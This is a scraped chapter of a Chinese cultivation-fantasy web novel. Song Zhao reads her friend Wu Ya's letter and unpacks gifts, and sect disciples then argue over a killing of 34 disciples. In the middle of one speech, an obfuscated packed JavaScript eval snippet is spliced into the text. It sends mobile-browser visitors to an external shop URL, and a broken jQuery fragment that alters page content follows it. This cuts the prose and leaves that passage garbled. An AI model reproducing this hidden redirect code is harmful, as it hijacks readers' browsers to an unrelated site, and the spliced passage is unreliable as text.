宋昭从这个针脚细密的麻布袋里,取出了一包鼓囊囊的信。
真的是鼓囊囊,因为这信封看着都被撑了个肚儿圆,似乎稍有不慎便会撑破了。
宋昭小心的撕开信封口,抽出了一叠对折的信纸。
她展开第一张信纸,纸上明显有两个人的字迹,一看便知,应当是五丫不会的字,就让另一人在一旁补上。
“小丫我是宋■舞”,中间还涂黑了一个字,舞字显然是另一人所写。
宋昭眼睛弯了弯,眼里流露出笑意。
“我到六合门认了一个■师父,她说我叫宋五不好听,给我改名叫宋舞,但明明听起来就一样,五还好写得多,四笔就能写完。”
“你在玄明■好吗?”
“你有没有认师父?要想办法认一个。我师父说,给她当走弟,她管我吃饱穿暖,还教我认字读书,只要我给她养老。我师父是个打铁的,我们门派都是打铁的,我现在已经开始学挖广。”
“还有,我师父说那个■镯子,你还没引气入体的话,就要■滴血认主才能使用,是一把峨眉刺,和我的是一对。”
“……”
里面还有不少错别字,但有的改了,有的没改,宋昭抿唇一笑。
这信纸厚厚一叠,有三十余张,显然不是一天写完的,她似乎是想起来又写一段,越往后,五丫的字越好,被涂黑的字也越少,错别字也越少。
而这些几乎每一张里面都有提到她师父,显然她师父待她不错。
宋昭看信的时候,都能想象出五丫在她面前说话的模样,看到后面,宋昭没忍住,无声的笑了起来。
“今日有人又来挑事,我会是怕事的人吗?打了一架,我赢了,她哭了。”
“我引气入体了,很好,和小王八打了一架,没输。我师父不让我喊他小王八。”
“小王八■■把他姐姐喊来了,真是■■。”
看起来五丫在六合门的日子过的很热闹。
……
“今天你们门派来人了,那个叫甘无■赦的,想买我师父给我炼的刀,我偏不给,不过这厮虽然讨厌,但出手大方,可交。邮驿太贵,这么点东西居然要收我十颗灵石!不划算。我把东西托付给沈未渡了。”
“小丫,你要快些引气入体,我们就能用通讯符通信了。可惜水镜太贵…我师父说我信写的太大白话了,要我学书仪,费那事干什么,万一你看不懂呢?”
“不过小丫,你在玄明宗要好好学,我师父说你们宗门有许多绝学。凭你的天资,肯定能学好。书仪你也好好学一学,免得以后被人笑话。”
“我给你要来了一把短刀,还有淬体药,我师父说用这个泡澡可以提升筋骨,我攒了许多,你尽管用,只不过泡澡的时候可疼。小丫乖,忍一忍就好了。”
宋昭从麻布袋里掏了掏,一连掏出了三四包用黄纸包着的药包,而麻布袋中这样的药包还有许多,最上面那包药上还夹着一张便笺,是信纸上另一人的字迹,笔力遒劲,又特意写的十分端正。
她将药浴的用法和禁忌,书写的十分详尽。
“此药以灵草为引,融极阳真火之力,专为稚子伐筋洗髓,固本培元。不过,体弱者使用需谨慎,还请贵派长辈观后再用。”
“熬制要诀:先将药包置于大锅之中,取两桶水熬成一桶,再兑阳水调温,露天之水谓之阳……”
宋昭又把信看了一遍,才仔细折好,放回信封……塞不进去了。
宋着看着手里的厚厚的一叠信,忍俊不禁,塞肯定是塞不进了,也不知道五丫是怎么塞进去的,她只好把信叠好和信封放在一处。
接着,宋昭把麻布袋里的药包都掏了出来,整整掏出十包,而麻布袋最底下,果然有一把刀。
这把刀显然属于匕首类刀具,并不长,比她单手臂展略短一些,整体弧弯,柄首是鹿头形,鹿颈处有环钮可系绳或是穿带,刀鞘为皮革外覆银饰。
宋昭抽出刀,寒光一闪,这把通体秘银色的鹿首反曲刀刀刃微微内弧,刀身上清晰的映出她的眼睛。
极漂亮的一把刀。
宋昭四处看了看,学舍里一时之间也没有什么不要的东西能试一试。
想了想宋昭把刀还鞘,又把手上戴着一直没取的手镯取下来,在灯光下,她完全看不出来这银镯有什么不同,但五丫说可认主,这竟然是一件法器?
宋昭打量半响,把手镯戴了回去,拿上一包药包和便签放入她的布袋里,其余药包继续用麻布袋收好,放入她床底的第二层抽屉里,信则放在第一层抽屉,至于手镯,等明日和魏蕊借了绣花针再说吧,那刀不知锋利度如何,她有些把握不了力度。
宋昭拿起桌上的灯罩,一块黑色的厚布,把夜明珠制作的灯罩住,屋内顿时漆黑一片。
她拿起反曲刀,放在床头柜上,然后摸黑爬上床,给自己肚子上搭了一个被角。
许久,宋昭还没睡着,干脆睁开眼睛盯着床顶,她有点想五丫了。
其实太初域的邮驿十分便利,毕竟除了日行千里的飞舟之外,还有可以实现空间跳跃的阵法,只不过价格都不便宜,尤其是寄送到玄明宗境外的物品,价格更是高昂。
五丫姐姐所在的宗门,听说天气十分炎热,她还要挖矿,打铁……
宋昭迷迷糊糊间入了梦乡,睡前唇角还翘了翘。
殊不知门派内此时已经闹翻了天,又有多少人夜不能寐。
一大清早,戒律堂便带回了三十四具尸体,一字排开摆在戒律堂前广场。
而原本应当封锁的消息,此时已经传遍了宗门,包括坊市间都有不少人开始议论纷纷。
这三十四人,可都是虞衡堂年轻一代的精英弟子。
若是死于敌手,不过是技不如人罢了。但里面有三十二人皆死于甘望深之手,这就令人难以忍受。
或是兔死狐悲物伤其类之人,又或是故意出来搅混水的人。
“他儿子死了,难道就要这么多多人陪葬吗?谢师兄何等无辜。”
“门派内禁止自相残杀,难道这条门规是摆设吗?”
“门派内禁止残杀,你也知道是门派内啊,他们这去的可是边境,不在门派内。”有人讥诮道。
“谢师兄作为一个堂堂的筑基期大圆满修士,竟然说杀也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811726|210870||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就杀了。他可是有望金丹的啊!”
“正因为他筑基期大圆满,才该死。他筑基期大圆满竟然还护不住一个孩子?”
“甘真人说的未必是错,他儿子死了,为什么他们还活着?”
“他谢意未必无辜,竟然把真人的独子带出去,就要做好豁出命也要保全对方的准备,要死当然也该他自己先死。但他可好,叫甘无赦死的那般凄惨。“
“既然甘无赦死了,那他们就当承受一位名父亲,更是一名元婴期老祖的怒火。”
“呸,真人儿子的命是命,弟子的命就不是命了吗?我们是门派弟子可不是他家里的奴隶。”
“要我说,甘无赦自己修为不够,死了也白死,修仙世界,本就是弱肉强食。他一个炼气期修士不躲好了在一边,竟然还敢往边境去。”
“你这话说的,是啊弱肉强食,甘真人是强,谢意是弱。那是不是谢意他们死了也是白死?”
“行了,人都死了,少说几句吧。”
也有人不敢在人前议论,但背后却暗自琢磨。
“你们说,巧不巧,刚好宗主不在宗门内,就出了这么大的事?这下可麻烦了,戒律堂把尸体都摆了出来,显然是不会善罢甘休。”一人悄悄道。
“但你可知?戒律堂和虞衡堂都是宗主这一派的?”
“那岂不是,大水冲了龙王庙?”
“嘘,且往后看吧。不少弟子去戒律堂前叩阍了。宗主回来便将要面临两难,不处置甘真人,门规形同虚设;处置甘真人,损失一位元婴战力。还有虞衡堂,又要交予谁?”
柯惊澜站在戒律堂侧殿虚掩的门后,望着广场上一个个自发而来叩阍的弟子,她低了低头,朝沈未渡道:“你说,甘真人倒了,谢师兄他们都死了。最终得益的人,会是谁?”
沈未渡脸上已经没有昨日的惶然,倒是透出几分阴沉冷锐来,“谁接手虞衡司堂主之位,就是谁。我若是死了,我娘必和甘真人死战,我们这边便要去了两位堂主。”
是的,巧不巧?虞衡司、止戈堂、灵枢堂,戒律堂都是支持宗主的一系。
偏宗主此时不在宗门内,偏有人前些时日一直和无赦讲辟雍宫多么无趣,开灵脉多么有意思,还骗无赦说他爹同意他出去见识见识,偏这人昨晚就失踪了。
而此人,还是跟在甘真人身边百余年的老仆了。
柯惊澜和沈未渡两人对视一眼,他们能想到的,宗主他们自然也能想到。
只是……
他们会如何做呢?
沈未渡目光沉沉的望向广场上横放尸体的地方,他道:“即便背后另有隐情,我还是觉得甘真人定要受罚。”
他们中或许有人心怀鬼胎,但大部分人都是无辜的。甘真人,着实过于暴虐。哪怕他是无赦的父亲,他也无法昧着良心为他说话。
“你想多了,这事没有我们说话的份。”柯惊澜推开偏殿的门,清晨的阳光这才映了进来,照亮阴影中的二人。“我要去上早课了。”
沈未渡点点头道:“行,我也会尽快入学宫。”
而任外面风云诡谲,辟雍宫却一派平和,一如往常。